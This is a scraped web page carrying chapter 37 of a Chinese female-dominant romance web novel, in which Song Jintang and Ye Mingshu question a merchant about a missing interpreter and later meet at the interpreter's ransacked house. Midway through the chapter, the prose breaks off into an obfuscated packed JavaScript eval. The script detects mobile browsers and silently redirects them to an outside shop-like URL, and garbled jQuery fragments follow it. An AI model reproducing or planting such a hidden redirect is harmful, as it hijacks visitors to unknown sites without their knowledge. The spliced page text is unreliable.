文趣网 > 其他小说 > 再甩三次又何妨(女尊) > 37. 好巧,又遇见了
    “棠棠……你慢点,我真的有话和你说。”

    “我没话和你说。”

    宋锦棠的声音顺着风吹了过来,依旧冷得像把利刃,毫不留情地扎了叶明疏一下。

    他咬着牙加快脚步去追,不料脚下不稳,一下子跌倒在地。沉闷的响声传进了宋锦棠耳朵里,她慢下脚步停住,回头看了他一眼,正对上一双楚楚可怜的泪眸。

    又在装了。

    宋锦棠冷哼一声,见他掀开了袖子,露出一截手臂,白皙的手臂处有一道又长又醒目的红痕。

    受伤了?

    就摔这么一下就伤着了?

    怎么这么娇气?

    她走了回来,居高临下地看着他,却没有要扶的意思。

    叶明疏可怜兮兮的看着她,“棠棠……”

    宋锦棠避开他的目光,问:“还能走吗?”

    叶明疏没说话,伸手扶着膝盖揉了揉,“疼……”

    疼?所以呢?想让她扶?

    做梦。

    宋锦棠环顾一圈,周围除了肖府的仆役,没有看到任何一个宫侍,疑惑问:“你身边的人呢?”

    叶明疏这种身份,到哪儿都会有人跟着,怎么可能让他一人落单?

    宋锦棠立即反应过来,他故意的!

    又想使这种手段来骗取她的同情。

    宋锦棠连退两步,眉心凝着怒意,“叶明疏,有意思吗?总是使这样的手段,你以为我还会再上当吗?”

    “我……我没有。”叶明疏狂摇头,见她要离开,踉跄着爬起来抓住她的衣服,“我刚刚是真的摔了,不是要骗你。”

    宋锦棠甩开他,“既然受伤了,就赶紧回去休养吧。”

    “我……”

    叶明疏抓不住,只能边跑边说:“棠棠为何不肯多听我说一句?为何就是不信我呢?”

    宋锦棠没看他,“什么原因你应当心知肚明才是。”

    “……是不是我无论怎么说,你都不会信了?”

    “是!”

    叶明疏静默一瞬,又道:“我今日是来找肖纪的,我打听到了她曾经与蒙晓有来往,棠棠一定也想知道吧?不然你不会来这儿。”

    “与你何干?”

    “是,你做什么,是与我无关,只是棠棠以何身份会见肖纪呢?就算见着了,恐怕她也并不会真言相告。”

    想见着人倒是不难,可要让人吐真言却不是件容易事。

    这也确实是宋锦棠担忧的,她身上没有可交换的筹码。

    但法子总是有的,不过就是多费些心思罢了。

    宋锦棠没说话,叶明疏大跨一步拦在她面前,“我能从她嘴里问到话,你知道的,我与广朔王明面上还算亲近,肖纪就算看在我姨母的面子上也会告诉我。”

    宋锦棠怕撞到他,已经停下了脚步,垂眸看着他。

    叶明疏眨了眨眼,“我知道你现在不信我,但你这样无头苍蝇一样乱撞也不是个法子,不如跟着我,亲自去听一听,信不信由你,白捡的便宜不要,棠棠没这么傻吧?”

    “……”宋锦棠眉头拧得更紧了,“你这是在激我?”

    “我没有啊。”叶明疏面露无辜,“我只是将利弊说与你听,你又没亏,再说了,你们行军打仗不是讲究不能意气用事吗?棠棠现在是在做什么?”

    他掩唇低语,“这可不是一个将军的做派,棠棠未免也太小家子气了些。”

    意气用事?小家子气?

    宋锦棠气笑了,论倒打一耙的功夫,叶明疏当真是鼻祖。

    不过她不得不承认,此时不是意气用事的时候。

    能不费吹灰之力就套到消息,天上掉馅饼的好事,不要白不要。

    “行。”她扬了扬下巴,“带路吧。”

    叶明疏揉了揉手腕,走在了前面,宋锦棠跟在身后两步远的位置。

    他慢她便慢,他快她也快,始终这么不远不近的走着。

    叶明疏忍了会儿,终是忍不住出声,只不过是些不痛不痒的话:“棠棠近日可好?”

    宋锦棠瞥他一眼,“你若是想和我说这些废话,就请免开尊口吧。”

    叶明疏被噎住,自然地换了个话题,“那棠棠可知,这肖娘子是何人?”

    “肖家长女,皇商继承人。”

    “没错,这肖纪面上敦厚,实则是个人精,惯会见风使舵,哪边苗头好就倒向哪边,不过好在这肖母是归顺了皇祖父,不然四妹怕是不好套话呢。”

    四皇女?肖纪接待的贵客是四皇女。

    有两位皇女皇子在,肖纪是不敢说鬼话框人的。

    不过这话听着,怎么这么像在说叶明疏他自己呢?

    宋锦棠视线在他身上定了两息,叶明疏很快捕捉到,扭头盈盈一笑,“棠棠是在看我吗?”

    “……”

    论厚脸皮,他也当属第一。

    前院正堂,叶启英先是和肖纪说了些场面话,只是令她想不到的是,这肖纪实在太能说,话匣子一打开就滔滔不绝,东拉西扯个没完,可细听下来,又没两句重头话,轻飘飘的像是拿着鸡毛掸子扫过,毛都没留下一根。

    听得她双眼逐渐无神,等到叶明疏进来,她才像是看到救星一样,眸光重新亮起。

    叶明疏带着宋锦棠入内,他在椅子上坐下,宋锦棠则站在他身后。

    肖纪对他同样是恭恭敬敬,生意上的事她能侃侃而谈,男儿家的事,她竟也如数家珍,从胭脂水粉谈到钗环首饰,没一个落下的,连叶明疏都自愧不如。

    他想说话都找不到机会插嘴。

    同样的静默出现在了叶明疏脸上,他缓缓看向叶启英,后者面露无奈,仿佛在说:“你能明白我了吧?”

    实在是太难听了,他头一次感到坐不住。

    宋锦棠看不下去,悄摸从叶明疏满是珠翠的头上拽下一颗珠子,指尖一弹,瞬息之间,肖纪手边的茶盏“砰”的一声碎裂,茶水四溅,惊得她的话戛然而止。

    堂内难得的安静了下来。

    肖纪忙使唤人来收拾,叶明疏生怕她再继续说下去,忙道:“肖娘子真是见多识广,听闻你一直和乌策有生意往来,两国言语不通之处,都由通事转介,有一位叫做蒙晓的通事,我们寻她有些要事要问,肖娘子若知晓此人,还请尽数相告。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769666|206732||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    他把话说得很明白,肖纪方才滔滔不绝了那么多,若是现在说不知道,那就是故意装傻了。左右蒙晓如今已没了踪迹,况且她也没做什么亏心事,干脆如实说了。

    宋锦棠听下来就两件事,其一,肖纪和蒙晓是有过一段时间的相处,但是她觉得蒙晓此人精明诡诈,左右摇摆,之后便断了合作,后来如何失踪的她并不知晓,不过确实是与太女来往甚密。

    其二,蒙晓是孤身一人来的京城,身旁并无好友亲信。也就是说,蒙晓绝不可能会藏身京城,而她们也无法通过其他方式得知她的消息。

    宋锦棠脑中闪过一个猜测,她不会真的被叶启缘灭口了吧……

    “我知道的就这么些了。”肖纪说的嘴巴干了,端起茶喝了一口,“若是二位殿下还想知道些什么,倒是可以去她的住处看一看。”

    她说了一个地方,是城外的一个庄子。

    “她平日里住京城,城外的庄子鲜少有人知道,不过……”

    她话没说完,面上挂着意味深长的笑,在座的几人都明白,叶启缘一定派人搜过了,去了大概也找不到什么。

    但宋锦棠还是决定去一趟。

    出了肖府,宋锦棠头也不回地走了,叶明疏却跟了上来,“棠棠要去吗?我随你一起。”

    宋锦棠脚步没停,“我为什么要带着你这个累赘?”

    叶明疏抿抿唇,“或许我能帮你呢?”

    宋锦棠睨他一眼,戳破他,“你若想查,派人去,或自己去都好,只是别跟着我。”

    言罢,她大步离去。

    她没直接回小院,而是去买了一匹马,简单收拾、修整了一番,穿上夜行衣,赶在城门关闭之前出了城。

    月黑风高,夜风簌簌,马蹄在官道上飞驰,溅起一阵尘土。

    肖纪说的地方是二三十里外的一个庄子,庄子上的农户都住得散,隔得远,蒙晓的住处四周空荡荡的,放眼望去,竟只有这一户。

    宋锦棠翻身下马,借着浅薄的月色推开院门。“吱嘎”一声响,在寂静的夜里异常刺耳。

    长久没住人,院中的角落里都长了些杂草,桌椅被推翻在地,锅碗瓢盆散落各处。

    点了火折子,进了主屋,更是一团乱麻,一看就是被大肆搜过,门框上都残留着刀痕。

    宋锦棠迈过散乱的物什,找到一根蜡烛点着,屋内亮起微光。她围着四周墙壁绕了一圈,看看是否藏有暗格或者其他的什么有用的东西。

    正找着,外头响起一阵马蹄声,由远及近,在院门外停下了。

    宋锦棠随即吹灭了灯,躲在门后,听着脚步声越来越近,一团微黄的光源逐渐靠了过来。

    她抽出腰间短刀,准备给来人杀个措手不及,没承想,门外一人忽然道:“殿下,你且躲我后面,待我去查探一二。”

    “……”

    宋锦棠默默把短刀插了回去,走到桌边坐下,双手抱胸,眼睛盯着被推开的门。

    月光顺着门缝在屋内缓缓铺散开来,将她整个人暴露在月光中。她抬起眸,对上一双迷茫又惊喜的眼睛。

    “棠棠?好巧啊,又遇见了。”